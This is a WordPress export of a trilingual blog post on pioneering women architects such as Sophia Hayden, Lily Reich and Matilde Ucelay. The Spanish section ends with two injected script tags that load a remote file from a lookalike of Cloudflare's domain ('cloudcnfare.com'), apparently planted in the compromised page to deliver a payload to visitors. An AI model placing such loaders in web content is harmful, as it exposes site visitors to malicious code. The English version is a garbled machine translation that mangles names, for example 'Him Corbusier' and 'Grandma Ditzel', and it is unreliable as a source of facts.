{"id":37052,"date":"2014-02-21T06:00:44","date_gmt":"2014-02-21T05:00:44","guid":{"rendered":"http:\/\/veredes.es\/blog\/?p=37052"},"modified":"2020-09-02T12:49:10","modified_gmt":"2020-09-02T10:49:10","slug":"las-arquitectas-pioneras-la-presencia-de-la-ausencia-ii-cristina-garcia-rosales","status":"publish","type":"post","link":"https:\/\/veredes.es\/blog\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-ii-cristina-garcia-rosales\/","title":{"rendered":"[:es]Las arquitectas pioneras: la presencia de la ausencia (II) | Cristina Garc\u00eda-Rosales[:gl]As arquitectas pioneiras: a presenza da ausencia (II) | Cristina Garc\u00eda-Rosales[:en]The pioneering arquitect women: the presence of the absence (II) | Cristina Garc\u00eda-Rosales[:]"},"content":{"rendered":"<p>[:es]<\/p>\n<div>\n<blockquote class=\"wp-embedded-content\" data-secret=\"XWKaurNQLf\"><p><a href=\"https:\/\/veredes.es\/blog\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-i-cristina-garcia-rosales\/\">Las arquitectas pioneras: la presencia de la ausencia (I) | Cristina Garc\u00eda-Rosales<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"\u00abLas arquitectas pioneras: la presencia de la ausencia (I) | Cristina Garc\u00eda-Rosales\u00bb \u2014 veredes\" src=\"https:\/\/veredes.es\/blog\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-i-cristina-garcia-rosales\/embed\/#?secret=XWKaurNQLf\" data-secret=\"XWKaurNQLf\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p style=\"text-align: justify;\">Despu\u00e9s de esta peque\u00f1a introducci\u00f3n deseo brindar un homenaje a las <strong>arquitectas pioneras<\/strong>, mujeres que supieron vivir su vida con imaginaci\u00f3n y entusiasmo, que fueron capaces de romper moldes y costumbres, permiti\u00e9ndonos a las arquitectas actuales recorrer nuestro camino con mayor facilidad.<\/p>\n<p style=\"text-align: justify;\">Su historia no ha sido escrita y su trabajo no ha sido nunca reconocido. Es por ello por lo que ni siquiera han podido ser olvidadas.<\/p>\n<p style=\"text-align: justify;\">Aunque en 1923\u00a0 el escritor Walter Bejamin afirmaba que no exist\u00eda una cultura propia de la mujer, la memoria hoy nos ense\u00f1a que los ideales estas mujeres vanguardistas siguen siendo los nuestros, los de las arquitectas actuales, como veremos en los ejemplos que a continuaci\u00f3n voy a mostrar.<\/p>\n<p style=\"text-align: justify;\">Tradicionalmente, la arquitectura, as\u00ed como otras carreras t\u00e9cnicas y cient\u00edficas, eran profesiones masculinas. La mujer era relegada a la artesan\u00eda, a la domesticidad, a lo privado; es decir, al mundo del interior. No exist\u00edan vocaciones universitarias, entre otras cosas, porque las mujeres ten\u00edan prohibido el acceso a las aulas.<\/p>\n<p style=\"text-align: justify;\">Recordemos, como ejemplo, que en Espa\u00f1a, <strong>Concepci\u00f3n Arenal<\/strong>, tuvo que disfrazarse de var\u00f3n para acceder a la carrera de derecho en el a\u00f1o 1841.<\/p>\n<figure id=\"attachment_37054\" aria-describedby=\"caption-attachment-37054\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37054\" title=\"3-Pabell\u00f3n-de-la-Mujer\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg\" alt=\"\" width=\"620\" height=\"309\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer-300x149.jpg 300w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37054\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Pabell\u00f3n de la Mujer, de Sophia Haydn<br \/><\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">En la Exposici\u00f3n Mundial de Chicago de 1893, diferentes grupos de mujeres construyeron juntas, por primera\u00a0 vez en la historia de la arquitectura occidental, un Pabell\u00f3n: el de la Mujer. Este pabell\u00f3n fue dise\u00f1ado por <strong>Sophia Haydn<\/strong>, joven titulada en arquitectura por el Instituto de Tecnolog\u00eda de Massachusetts. (Aunque no fue la primera arquitecta americana, sino <strong>Jennie Louise Blanchard,<\/strong> nacida en 1856).<\/p>\n<p style=\"text-align: justify;\">De este pabell\u00f3n la cr\u00edtica dijo: \u201c<em>Si alguna vez la suavidad y dulzura han sido expresadas en la arquitectura, lo percibimos en el edificio de la Srta. Haydn<\/em>\u201d. Suavidad y dulzura no son, sin embargo, adjetivos normalmente aplicados en la arquitectura.<\/p>\n<p style=\"text-align: justify;\">El bello edifico de <strong>Sophia Haydn<\/strong>, era uno m\u00e1s dentro del estilo neocl\u00e1sico Beaux Arts, estilo que predomin\u00f3 en el resto de los pabellones de la Exposici\u00f3n. Su intenci\u00f3n era demostrar que las realizaciones de las mujeres eran equivalentes a las de los hombres.<\/p>\n<figure id=\"attachment_37055\" aria-describedby=\"caption-attachment-37055\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37055\" title=\"4-Sophia-Haydn\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg\" alt=\"\" width=\"620\" height=\"711\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn-261x300.jpg 261w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37055\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Sophia Haydn<\/span><\/figcaption><\/figure>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>Mientras tanto en Europa, es <strong>Elisabeth Siddal<\/strong> la \u00fanica mujer que se relaciona con el dise\u00f1o y la arquitectura en el siglo XIX.\u00a0 Debido a <em>\u201csu encantadora figura y magn\u00edfico cuello, as\u00ed como a su fisonom\u00eda delicada y perfectamente formada\u201d <\/em>fue adoptada por el grupo de los pre-Rafaelistas como modelo y en 1860 se cas\u00f3 con Dante Gabriel Rosetti. No creo estos atributos se pudieran decir en el caso de haber sido hombre. Fue de origen humilde, escritora y poeta, y realiz\u00f3 tambi\u00e9n bocetos de arquitectura.<\/p>\n<p>A principios del siglo XX, en la sociedad occidental \u2013y concretamente en Europa &#8211; irrumpe un modelo nuevo modelo de mujer.<\/p>\n<p>Compa\u00f1eras de viaje de las vanguardias, generosas y entusiastas, aparecen las arquitectas pioneras.<\/p>\n<p>As\u00ed podemos citar:<br \/>\n&#8211; A la irlandesa <strong>Eileen Grey<\/strong> que trabaj\u00f3 con Jean Badovicci.<br \/>\n&#8211; A la finlandesa <strong>Aino Marsio Aalto<\/strong> que trabaj\u00f3 con su marido Alvar Aalto.<br \/>\n&#8211; A la escocesa <strong>Margaret Mc Donald<\/strong> que trabaj\u00f3 con Charles Rennie Mackintosh.<br \/>\n&#8211; \u00a0A la inglesa <strong>Allison Smithson<\/strong> que lo hizo con Peter Smithson.<br \/>\n&#8211; \u00a0O a la norteamericana <strong>Ray Eames<\/strong>, que trabaj\u00f3 con Charles Eames.<br \/>\n&#8211; La arquitecta alemana <strong>Lily Reich<\/strong> o la francesa <strong>Charlotte Perriand<\/strong> que trabajaron con Mies Van der Rohe y Le Corbusier respectivamente, eran simples compa\u00f1eros y no estaban casados.<\/p>\n<p>Todos los arquitectos conocen \u00a0a Le Corbusier, Mies van der Rohe o Alvar Aalto. Pero muy pocos han o\u00eddo hablar de sus compa\u00f1eras de estudio, esposas o colaboradoras.<\/p>\n<figure id=\"attachment_37056\" aria-describedby=\"caption-attachment-37056\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37056\" title=\"5-ARQUITECTAS-PIONERAS\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg\" alt=\"\" width=\"620\" height=\"627\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS-296x300.jpg 296w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS-120x120.jpg 120w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37056\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Arquitectas pioneras<\/span><\/figcaption><\/figure>\n<p>Otras arquitectas que trabajaron en solitario, como <strong>Ma\u00efja Isola, y Marianne Brandt,<\/strong> pertenecientes a la Bauhaus, as\u00ed como <strong>Margaret Kropoholler Staal, Grethe Meyer, Nana Ditzel, Grethe Schutte-Lihotzy, Lina Bo Bardi<\/strong> o la espa\u00f1ola <strong>Matilde Ucelay<\/strong> \u00a0-que fue a primera que termin\u00f3 los estudios de arquitectura en nuestro pa\u00eds-, han tenido menos reconocimiento, si cabe, que la anteriores citadas.<\/p>\n<\/div>\n<p style=\"text-align: justify;\">No voy a tratar de realizar una recopilaci\u00f3n exhaustiva de todas las arquitectas de este per\u00edodo, aunque si de algunas de ellas, intentando seguir una exposici\u00f3n m\u00e1s o menos cronol\u00f3gica. Informaci\u00f3n muy dif\u00edcil de conseguir puesto que, salvo raras excepciones, no son mencionadas en los libros de Historia del Arte ni en las Enciclopedias de Arquitectura.<\/p>\n<p>Cristina Garc\u00eda-Rosales. Arquitecta<br \/>\nMadrid. Febrero 2014<\/p>\n<blockquote class=\"wp-embedded-content\" data-secret=\"ZD16C17INi\"><p><a href=\"https:\/\/veredes.es\/blog\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-iii-cristina-garcia-rosales\/\">Las arquitectas pioneras: la presencia de la ausencia (III) | Cristina Garc\u00eda-Rosales<\/a><\/p><\/blockquote>\n<p><iframe loading=\"lazy\" class=\"wp-embedded-content\" sandbox=\"allow-scripts\" security=\"restricted\" style=\"position: absolute; clip: rect(1px, 1px, 1px, 1px);\" title=\"\u00abLas arquitectas pioneras: la presencia de la ausencia (III) | Cristina Garc\u00eda-Rosales\u00bb \u2014 veredes\" src=\"https:\/\/veredes.es\/blog\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-iii-cristina-garcia-rosales\/embed\/#?secret=ZD16C17INi\" data-secret=\"ZD16C17INi\" width=\"600\" height=\"338\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\"><\/iframe><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script><\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script>[:gl]<\/p>\n<div>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/veredes.es\/blog\/gl\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-i-cristina-garcia-rosales\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"color: #999999;\"><em>As arquitectas pioneiras: a presenza da ausencia (I) | Cristina Garc\u00eda-Rosales<\/em><\/span><\/a><\/p>\n<p style=\"text-align: justify;\">Despois desta pequena introduci\u00f3n desexo brindar unha homenaxe \u00e1s <strong>arquitectas pioneiras<\/strong>, mulleres que souberon vivir a s\u00faa vida con imaxinaci\u00f3n e entusiasmo, que foron capaces de romper moldes e costumes, permit\u00edndonos \u00e1s arquitectas actuais percorrer o noso cami\u00f1o con maior facilidade.<\/p>\n<p style=\"text-align: justify;\">A s\u00faa historia non foi escrita e o seu traballo non foi nunca reco\u00f1ecido. \u00c9 por iso polo que nin sequera puideron ser esquecidas.<\/p>\n<p style=\"text-align: justify;\">A\u00ednda que en 1923 o escritor Walter Bejamin afirmaba que non exist\u00eda unha cultura propia da muller, a memoria hoxe ens\u00ednanos que os ideais estas mulleres vangardistas seguen sendo os nosos, os das arquitectas actuais, como veremos nos exemplos que a continuaci\u00f3n vou mostrar.<\/p>\n<p style=\"text-align: justify;\">Tradicionalmente, a arquitectura, as\u00ed como outras carreiras t\u00e9cnicas e cient\u00edficas, eran profesi\u00f3ns masculinas. A muller era relegada \u00e1 artesan\u00eda, \u00e1 domesticiade, ao privado; \u00e9 dicir, ao mundo do interior. Non exist\u00edan vocaci\u00f3ns universitarias, entre outras cousas, porque as mulleres ti\u00f1an prohibido o acceso \u00e1s aulas.<\/p>\n<p style=\"text-align: justify;\">Recordemos, como exemplo, que en Espa\u00f1a, <strong>Concepci\u00f3n Areal<\/strong>, tivo que disfrazarse de var\u00f3n para acceder \u00e1 carreira de dereito no ano 1841.<\/p>\n<figure id=\"attachment_37054\" aria-describedby=\"caption-attachment-37054\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37054\" title=\"3-Pabell\u00f3n-de-la-Mujer\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg\" alt=\"\" width=\"620\" height=\"309\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer-300x149.jpg 300w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37054\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Pavill\u00f3n da Muller, de Sophia Haydn<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Na Exposici\u00f3n Mundial de Chicago de 1893, diferentes grupos de mulleres constru\u00edron xuntas, por primeira vez na historia da arquitectura occidental, un Pavill\u00f3n: o da Muller. Este pavill\u00f3n foi dese\u00f1ado por <strong>Sophia Haydn<\/strong>, nova titulada en arquitectura polo Instituto de Tecnolox\u00eda de Massachusetts. (A\u00ednda que non foi a primeira arquitecta americana, sen\u00f3n <strong>Jennie Louise Blanchard<\/strong>, nacida en 1856).<\/p>\n<p style=\"text-align: justify;\">Deste pavill\u00f3n a cr\u00edtica dixo: \u201c<em>Se algunha vez a suavidade e dozura foron expresadas na arquitectura, percib\u00edmolo no edificio da Srta. Haydn<\/em>\u201d. Suavidade e dozura non son, non obstante, adxectivos normalmente aplicados na arquitectura.<\/p>\n<p style=\"text-align: justify;\">O belo edifico de<strong> Sophia Haydn<\/strong>, era un m\u00e1is dentro do estilo neocl\u00e1sico Beaux Arts, estilo que predominou no resto dos pavill\u00f3ns da Exposici\u00f3n. A s\u00faa intenci\u00f3n era demostrar que as realizaci\u00f3ns das mulleres eran equivalentes \u00e1s dos homes.<\/p>\n<figure id=\"attachment_37055\" aria-describedby=\"caption-attachment-37055\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37055\" title=\"4-Sophia-Haydn\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg\" alt=\"\" width=\"620\" height=\"711\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn-261x300.jpg 261w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37055\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Sophia Haydn<\/span><\/figcaption><\/figure>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>Mentres tanto en Europa, \u00e9<strong> Elisabeth Siddal<\/strong> a \u00fanica muller que se relaciona co dese\u00f1o e a arquitectura no s\u00e9culo XIX. Debido a <em>\u201ca s\u00faa encantadora figura e magn\u00edfico colo, as\u00ed como \u00e1 s\u00faa fisionom\u00eda delicada e perfectamente formada<\/em><em>\u201d<\/em> foi adoptada polo grupo dos pre-Rafaelistas como modelo e en 1860 casou con Dante Gabriel Rosetti. Non creo estes atributos puid\u00e9ranse dicir no caso de ter sido home. Foi de orixe humilde, escritora e poeta, e realizou tam\u00e9n bosquexos de arquitectura.<\/p>\n<p>A principios do s\u00e9culo XX, na sociedade occidental -e concretamente en Europa &#8211; irrompe un modelo novo modelo de muller.<\/p>\n<p>Compa\u00f1eiras de viaxe das vangardas, xenerosas e entusiastas, aparecen as arquitectas pioneiras.<\/p>\n<p>As\u00ed podemos citar:<\/p>\n<p>&#8211; \u00c1 irlandesa <strong>Eileen Grey<\/strong> que traballou con Jean Badovicci.<\/p>\n<p>&#8211; \u00c1 finlandesa <strong>Aino Marsio Aalto<\/strong> que traballou co seu marido Alvar Aalto.<\/p>\n<p>&#8211; \u00c1 escocesa <strong>Margaret Mc Donald<\/strong> que traballou con Charles Rennie Mackintosh.<\/p>\n<p>&#8211; \u00c1 inglesa <strong>Allison Smithson<\/strong> que o fixo con Peter Smithson.<\/p>\n<p>&#8211; O \u00e1 norteamericana <strong>Ray Eames<\/strong>, que traballou con Charles Eames.<\/p>\n<p>&#8211; A arquitecta alem\u00e1<strong> Lily Reich<\/strong> ou a francesa <strong>Charlotte Perriand<\/strong>, que traballaron con Mies Van der Rohe e Le Corbusier respectivamente, eran simples compa\u00f1eiros e non estaban casados.<\/p>\n<p>Todos los arquitectos conocen a Le Corbusier, Mies van der Rohe o Alvar Aalto. Pero muy pocos han o\u00eddo hablar de sus compa\u00f1eras de estudio, esposas o colaboradoras.<\/p>\n<figure id=\"attachment_37056\" aria-describedby=\"caption-attachment-37056\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37056\" title=\"5-ARQUITECTAS-PIONERAS\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg\" alt=\"\" width=\"620\" height=\"627\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS-296x300.jpg 296w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS-120x120.jpg 120w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37056\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Arquitectas pioneiras<\/span><\/figcaption><\/figure>\n<p>Outras arquitectas que traballaron en solitario, como<strong> Ma\u00efja Isola<\/strong>, e <strong>Marianne Brandt<\/strong>, pertencentes \u00e1 Bauhaus, as\u00ed como <strong>Margaret Kropoholler Staal, Grethe Meyer, Nana Ditzel, Grethe Schutte-Lihotzy, Lina Bo Bardi<\/strong> ou a espa\u00f1ola <strong>Matilde Ucelay<\/strong> -que foi a primeira que rematou os estudos de arquitectura no noso pa\u00eds-, tiveron menos reco\u00f1ecemento, se cabe, que a anteriores citadas.<\/p>\n<\/div>\n<p style=\"text-align: justify;\">Non vou tratar de realizar unha recompilaci\u00f3n exhaustiva de todas as arquitectas deste per\u00edodo, a\u00ednda que se dalgunhas delas, intentando seguir unha exposici\u00f3n m\u00e1is ou menos cronol\u00f3xica. Informaci\u00f3n moi dif\u00edcil de conseguir posto que, salvo raras excepci\u00f3ns, non son mencionadas nos libros de Historia da Arte nin nas Enciclopedias de Arquitectura.<\/p>\n<p>Cristina Garc\u00eda-Rosales. Arquitecta<\/p>\n<p>Madrid. Febreiro 2014<\/p>\n<p><a href=\"https:\/\/veredes.es\/blog\/gl\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-iii-cristina-garcia-rosales\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"color: #999999;\"><em>As arquitectas pioneiras: a presenza da ausencia (III) | Cristina Garc\u00eda-Rosales<\/em><\/span><\/a>[:en]<\/p>\n<div>\n<p style=\"text-align: justify;\"><a href=\"https:\/\/veredes.es\/blog\/en\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-i-cristina-garcia-rosales\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"color: #999999;\"><em>The pioneering arquitect women: the presence of the absence (I) | Cristina Garc\u00eda-Rosales<\/em><\/span><\/a><\/p>\n<p style=\"text-align: justify;\">After this small introduction I want to offer an honoring to the <strong>pioneering woman architects<\/strong>, women who could live through his life with imagination and enthusiasm, which they were capable of breaking molds and customs, allowing the current arquitectas to cross our way with major facility.<\/p>\n<p style=\"text-align: justify;\">His history has not been written and his work has never been recognized. It is for it for what at least they could have been forgotten.<\/p>\n<p style=\"text-align: justify;\">Though in 1923 the writer Walter Bejamin was affirming that an own culture of the woman did not exist, the memory today teaches us that ideal these ultramodern women continue being ours, those of the current arquitectas, since we will see in the examples that later I am going to show.<\/p>\n<p style=\"text-align: justify;\">Traditionally, the architecture, as well as other technical and scientific careers, they were masculine professions. The woman was relegated to the crafts, to the domesticity, to the private thing; it is to say, to the world of the interior. University vocations did not exist, among other things, because the women had no admittance to the classrooms.<\/p>\n<p style=\"text-align: justify;\">Let&#8217;s remember, as example, that in Spain,\u00a0<strong>Concepci\u00f3n Arenal<\/strong>, had to disguise as male to accede to the career of right in the year 1841.<\/p>\n<figure id=\"attachment_37054\" aria-describedby=\"caption-attachment-37054\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37054\" title=\"3-Pabell\u00f3n-de-la-Mujer\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg\" alt=\"\" width=\"620\" height=\"309\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/3-Pabell\u00f3n-de-la-Mujer-300x149.jpg 300w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37054\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Woman Pavilion, by Sophia Haydn<br \/><\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">In the World Exhibition of Chicago of 1893, different groups of women constructed together, for the first time in the history of the western architecture, a Pavilion: that of the Woman. This pavilion was designed by\u00a0<strong>Sophia Haydn<\/strong>,\u00a0young woman titled in architecture by the Institute of Technology of Massachusetts. (Though it was not the first American woman architect, but <strong>Jennie Louise Blanchard,<\/strong>\u00a0 she was born in 1856).<\/p>\n<p style=\"text-align: justify;\">Of this pavilion the critique said:\u00a0\u201c<em>If at some time the smoothness and sweetness have been expressed in the architecture, we perceive it in the building of Miss. Haydn<\/em>\u201d. Smoothness and sweetness are not, nevertheless, adjectival normally applied in the architecture.<\/p>\n<p style=\"text-align: justify;\">The <strong>Sophia Haydn<\/strong>\u00b4s beautiful build , it was one more inside the neoclassic style Beaux Arts, style that prevailed in the rest of the pavilions of the Exhibition. His intention was to demonstrate that the accomplishments of the women were equivalent to those of the men.<\/p>\n<figure id=\"attachment_37055\" aria-describedby=\"caption-attachment-37055\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37055\" title=\"4-Sophia-Haydn\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg\" alt=\"\" width=\"620\" height=\"711\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/4-Sophia-Haydn-261x300.jpg 261w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37055\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Sophia Haydn<\/span><\/figcaption><\/figure>\n<\/div>\n<div style=\"text-align: justify;\">\n<p>Meanwhile in Europe, she is <strong>Elisabeth Siddal<\/strong> the only woman who relates to the design and the architecture in the 19th century. Due to <em>\u201chis magician appears and magnificent neck, as well as to his physiognomy delicate and perfectly formed\u201d<\/em> it was adopted by the group of the pre-Rafaelistas as model and in 1860 he married Dante Gabriel Rosetti. I do not believe these attributes they could be said in case of having been a man. It was of humble origin, writer and poet, and realized also sketches of architecture.<\/p>\n<p>At the beginning of the 20th century, in the western company &#8211; and concretely in Europe &#8211; irrumpe a new model I shape of woman.<\/p>\n<p>Companions of trip of the forefronts, generous and enthusiasts, appear the pioneering woman architects.<\/p>\n<p>This way we can mention:<\/p>\n<p>&#8211; To the irish <strong>Eileen Grey<\/strong> who worked with Jean Badovicci.<\/p>\n<p>&#8211; To the finn <strong>Aino Marsio Aalto<\/strong> who worked with his husband Alvar Aalto.<\/p>\n<p>&#8211; To the scot <strong>Margaret Mc Donald<\/strong> who worked with Charles Rennie Mackintosh.<\/p>\n<p>&#8211; Sidesaddle <strong>Allison Smithson<\/strong> who did it with Peter Smithson.<\/p>\n<p>&#8211; Or to the north american <strong>Ray Eames<\/strong>, who worked with Charles Eames.<\/p>\n<p>&#8211; The German arquitecta <strong>Lily Reich<\/strong> or the french <strong>Charlotte Perriand<\/strong> who worked with Mies Van der Rohe and Him Corbusier respectively, were simple companions and were not married.<\/p>\n<p>All the architects know to Him Corbusier, Mies van der Rohe or Alvar Aalto. But very few ones have heard speaking about his companions of study, wives or collaborators.<\/p>\n<figure id=\"attachment_37056\" aria-describedby=\"caption-attachment-37056\" style=\"width: 620px\" class=\"wp-caption alignnone\"><a href=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"size-full wp-image-37056\" title=\"5-ARQUITECTAS-PIONERAS\" src=\"http:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg\" alt=\"\" width=\"620\" height=\"627\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS.jpg 620w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS-296x300.jpg 296w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2014\/01\/5-ARQUITECTAS-PIONERAS-120x120.jpg 120w\" sizes=\"auto, (max-width: 620px) 100vw, 620px\" \/><\/a><figcaption id=\"caption-attachment-37056\" class=\"wp-caption-text\"><span style=\"color: #888888;\">Pioneering woman architects<\/span><\/figcaption><\/figure>\n<p>Other arquitectas that worked in solitarily, as <strong>Ma\u00efja Isola<\/strong>, and <strong>Marianne Brandt<\/strong>, belonging to the Bauhaus, as well as <strong>Margaret Kropoholler Staal, Grethe Meyer, Grandma Ditzel, Grethe Schutte-Lihotzy, Lina Bo Bardi<\/strong> or the spanish woman <strong>Matilde Ucelay<\/strong> &#8211; who was to first that finished the studies of architecture in our country-, have had less recognition, if it fits, that her previous mentioned.<\/p>\n<\/div>\n<p style=\"text-align: justify;\">I am not going to try to realize an exhaustive summary of all the arquitectas of this period, though if of some of them, trying to follow a more or less chronological exhibition. Information very difficult to obtain since, except rare exceptions, they are mentioned neither in the books of History of the Art nor in the Encyclopedias of Architecture.<\/p>\n<p>Cristina Garc\u00eda-Rosales. Architect<\/p>\n<p>Madrid. February 2014<\/p>\n<p><a href=\"https:\/\/veredes.es\/blog\/en\/las-arquitectas-pioneras-la-presencia-de-la-ausencia-iii-cristina-garcia-rosales\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"color: #999999;\"><em>The pioneering arquitect women: the presence of the absence (III) | Cristina Garc\u00eda-Rosales<\/em><\/span><\/a>[:]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>[:es] Las arquitectas pioneras: la presencia de la ausencia (I) | Cristina Garc\u00eda-Rosales Despu\u00e9s de esta peque\u00f1a introducci\u00f3n deseo brindar un homenaje a las arquitectas pioneras, mujeres que supieron vivir su vida con imaginaci\u00f3n y entusiasmo, que fueron capaces de romper moldes y 